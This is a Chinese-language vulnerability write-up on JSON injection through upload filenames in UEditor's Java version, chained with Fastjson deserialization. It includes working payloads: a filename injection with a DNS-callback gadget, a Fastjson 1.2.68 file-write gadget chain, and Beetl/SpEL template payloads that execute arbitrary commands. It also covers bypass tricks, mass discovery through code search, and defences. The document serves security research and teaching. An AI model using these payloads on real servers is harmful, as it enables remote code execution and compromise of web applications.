浅谈ueditor的json注入问题
字数 1707 2025-08-03 16:43:37
UEditor JSON注入漏洞分析与利用教学
漏洞概述
UEditor Java版本在处理文件上传时存在JSON注入漏洞,当开发者使用不安全的方式处理UEditor返回的JSON数据时,可能导致远程代码执行等严重安全问题。该漏洞主要源于文件名参数未正确过滤,结合Fastjson反序列化漏洞可造成RCE。
漏洞背景
- UEditor在2023年已在GitHub停止维护,实际上五年前就已不再更新
- Java版本中,官方给出的标准用法是调用
String json = new ActionEnter(request, rootPath).exec() - 当开发者需要修改返回属性时,可能会使用JSON解析库解析返回的JSON字符串
- 如果JSON字符串部分可控,则可能导致安全问题
漏洞分析
漏洞根源
漏洞的根源在com.baidu.ueditor.define.BaseState#toString方法中,该方法将Map遍历后拼接为JSON字符串:
// 主要逻辑是对map进行遍历,把key和value进行处理最终制作成JSON字符串形式
// 其中key和value用+进行拼接,如果key或value可控的话可能会导致json注入问题
触发路径
ActionEnter#invoke方法调用state#toJSONString- 当
ActionMap为UPLOAD_FILE(文件上传)操作时触发Uploader#doExec Uploader#doExec根据是否base64调用不同类的save方法- 对于
UPLOAD_FILE操作,ConfigManager的isBase64为false,触发BinaryUploader#save
可控点分析
在BinaryUploader#save函数中,originFileName由上传表单的filename控制:
// originFileName是由上传表单的filename控制的
// 令filename为filename=flag","vulnerable":"hacked","a":".txt即可绕过检测
// 最终会把originFileName放进BaseState当中
漏洞利用面
- Fastjson反序列化:如果开发者使用低版本Fastjson解析该JSON字符串,可能导致RCE
- 逻辑覆盖:如果开发者自己实现了备份文件功能,且路径取自filepath等属性,通过JSON注入覆盖原有属性可能导致任意文件上传
漏洞利用
利用条件
- 存在文件上传功能
- 后端使用UEditor处理上传
- 开发者使用不安全的方式处理UEditor返回的JSON数据(如低版本Fastjson解析)
利用步骤
-
构造恶意文件名:
filename=flag",{"@type":"java.net.Inet4Address","val":"bgb5eh.ceye.io"},"a":".txt -
Fastjson反序列化利用(针对1.2.68及以下版本):
{ "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "org.apache.commons.io.input.CharSequenceReader", "charSequence": { "@type": "java.lang.String""aaaaaa" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "branch": { "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.FileWriterWithEncoding", "file": "/tmp/pwned", "encoding": "UTF-8", "append": false }, "charset": "UTF-8", "bufferSize": 1024, "writeImmediately": true }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" } -
利用Beetl模板RCE(可选):
- 第一次写入修改白名单:
${@nese.elephantcms.common.WhiteListNativeSecurityManager.test('org.springframework,java.beans,venom.elephantcms')} - 第二次写入RCE payload:
访问时添加参数:${@java.beans.Beans.instantiate(null,parameter.a).parseExpression(parameter.b).getValue()}?a=org.springframework.expression.spel.standard.SpelExpressionParser&b=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('{command}').getInputStream()).next()
- 第一次写入修改白名单:
绕过技巧
-
特殊字符限制:
- 由于漏洞源于HTTP请求头中的filename注入,双引号、分号等字符可能导致问题
- 可使用Beetl语法
parameter.a绕过
-
路径限制:
- Fastjson的
MiscCodec限制了相对路径写入(..) - 必须使用绝对路径
- Fastjson的
-
构造函数匹配:
- Fastjson调用构造函数存在随机性
- 需确保
WriterOutputStream构造方法的第二个属性是charset或charsetName
防御措施
- 升级UEditor:使用最新版本(虽然已停止维护)
- 安全处理JSON:
- 避免直接解析不可信的JSON字符串
- 使用最新版Fastjson
- 输入过滤:
- 严格过滤文件名中的特殊字符
- 限制文件上传类型
- 权限控制:
- 限制文件上传目录权限
- 使用不可执行的文件系统存储上传文件
自动化挖掘思路
-
代码搜索:
- 使用GitHub代码搜索寻找引入UEditor Java版本的项目
- 搜索模式:
String json = new ActionEnter(request, rootPath).exec()
-
污点分析:
- 检测UEditor返回的JSON字符串是否流入危险的Fastjson解析函数
- 可使用semgrep等工具进行简单分析
-
人工验证:
- 对自动化发现的结果进行人工验证
- 重点关注文件上传处理逻辑
总结
UEditor JSON注入漏洞结合Fastjson反序列化漏洞可导致严重的远程代码执行问题。虽然利用条件较为特定,但在实际应用中仍存在较大风险。开发者应重视JSON数据的安全处理,避免直接解析不可信数据,并及时更新相关组件版本。